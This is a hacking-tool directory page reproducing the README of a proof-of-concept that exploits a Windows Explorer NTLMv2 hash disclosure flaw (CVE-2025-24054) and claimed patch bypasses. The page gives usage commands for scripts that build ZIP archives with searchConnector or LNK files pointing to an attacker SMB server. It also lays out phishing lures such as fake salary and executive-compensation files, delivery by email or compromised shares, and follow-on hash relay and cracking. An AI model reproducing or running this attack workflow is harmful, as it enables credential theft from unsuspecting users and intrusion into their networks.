Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24054 β€” Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure | Kitploit
Tools/GitHubGitHub/untouchable17/cve-2025-24054
Password CrackingPhishing ToolsPayload GenerationVulnerability AnalysisExploitationPost-ExploitationSocial Engineering
GitHubuntouchable17/cve-2025-24054

CVE-2025-24054

Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure

View Repository
214011 months agoNot yet reviewed
Share

Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure

πŸŽ₯ Demonstration POC + March 2025 Patch bypass

NTLMv2 Hash Disclosure Demo

πŸŽ₯ patch bypass

NTLMv2 Hash Disclosure Demo

Click the image above to watch the vulnerability demonstration

πŸ“‹ Technical Overview

This repository provides a comprehensive research framework analyzing the vulnerability chain in Windows Shell file format processing that leads to NTLMv2-SSP credential disclosure. The toolkit implements two distinct attack vectors that exploit automatic UNC path resolution during file preview operations in Windows Explorer.

Core Vulnerability Mechanism

The fundamental security issue resides in Windows Shell's automatic processing of embedded UNC paths within specific file formats during preview operations. When users open ZIP archives containing specially crafted files, Windows Explorer automatically resolves UNC paths without user consent, initiating SMB authentication attempts and exposing NTLMv2-SSP hashes to attacker-controlled servers.

Attack Surface Components

  • File Format Parsing: Windows Shell automatic processing of XML-based shell files and LNK shortcut properties
  • ZIP Container Bypass: Archive preview functionality that circumvents Mark-of-the-Web (MOTW) protections
  • Authentication Trigger: Automatic UNC resolution during metadata extraction and icon fetching operations

πŸ—οΈ Architecture Evolution

πŸ”° Phase 1: SearchConnector-based Disclosure (CVE-2025-24054)

File: ntlm-disclosure-poc.py

This initial implementation exploits Windows Search Connector (.searchConnector-ms) files, which are XML-based configuration files that define search locations for Windows Explorer. The vulnerability triggers when Windows automatically processes the embedded UNC path in the simpleLocation element during ZIP archive preview operations.

Technical Characteristics:

  • XML-based payload structure following Microsoft schema specifications
  • UNC path embedding in searchConnectorDescription elements
  • Automatic processing by Windows Search Indexer and Explorer shell
  • Bypasses traditional file execution restrictions

πŸ”° Phase 2: LNK-in-ZIP Bypass (CVE-2025-50154 / CVE-2025-59214)

File: patch_bypass.ps1

This enhanced technique addresses Microsoft's initial patch by leveraging LNK file properties. The attack exploits Windows Explorer's behavior of fetching icon metadata and resolving target paths during ZIP file preview, while maintaining the zero-click exploitation vector through careful property configuration.

Technical Characteristics:

  • LNK files with UNC paths in TargetPath property
  • Local icon references to bypass initial detection mechanisms
  • Windows Shell automatic property extraction during preview
  • Maintains file format legitimacy while achieving UNC resolution

πŸ”§ Prerequisites

For Python PoC:
  • Python 3.6+
  • Required packages: colorama
For PowerShell PoC:
  • Windows PowerShell 5.1+
  • Execution Policy: Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

πŸ”° Phase 1: Python Implementation (CVE-2025-24054)

# Basic usage
python ntml-disclosure-poc.py 192.168.1.100

# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package

πŸ”° Phase 2: PowerShell Bypass (CVE-2025-50154/59214)

# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100

# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parameters
-IP (required): Target SMB server IP address
-Share: SMB share name (default: 'share')
-File: Target filename (default: 'payload.exe')
-Lure: Social engineering filename (default: 'Your_File_For_Payload_Here')
-OutDir: Output directory (default: current directory)
-KeepLnk: Preserve LNK file after ZIP creation
Vector Trigger Mechanism User Interaction Patch Status
πŸ”— SearchConnector XML parsing + UNC resolution ZIP openπŸ›‘οΈ Patched
πŸ“Ž LNK TargetPath Icon metadata fetch ZIP openπŸ”΄ Active
graph TD
    A[πŸ”΄ CVE-2025-24054<br/>Initial Vulnerability] --> B[πŸ›‘οΈ Microsoft Patch]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[πŸ›‘οΈ Microsoft Patch]
    D --> E[🟑 CVE-2025-59214<br/>Bypass #2]
    E --> F[πŸ”΄ Current State<br/>Active Exploitation]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

πŸ”§ Technical Specifications

  1. πŸ“¦ Payload Generation
    • Create malicious file (SearchConnector/LNK) with UNC path
    • Package in ZIP archive with enticing name
  2. πŸ“€ Delivery
    • Distribute ZIP via email/web/download
  3. πŸ’₯ Exploitation
    • Victim opens ZIP in Windows Explorer
    • Automatic file preview triggers UNC resolution
    • NTLMv2-SSP hash transmitted to attacker
  4. 🎭 Post-Exploitation
    • Hash capture and relay attacks
    • Password cracking attempts

πŸ’€ Deployment Scenarios

πŸ“¨ Scenario 1: Direct ZIP Distribution

# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Distribution vectors:
# - πŸ“§ Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments

πŸ”„ Scenario 2: LNK File Transfer

# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites

🎯 Scenario 3: Targeted Social Engineering

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Contact the Developer

- Group & Contact: t.me/initial_persistence
- Email: [email protected]
Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools β†’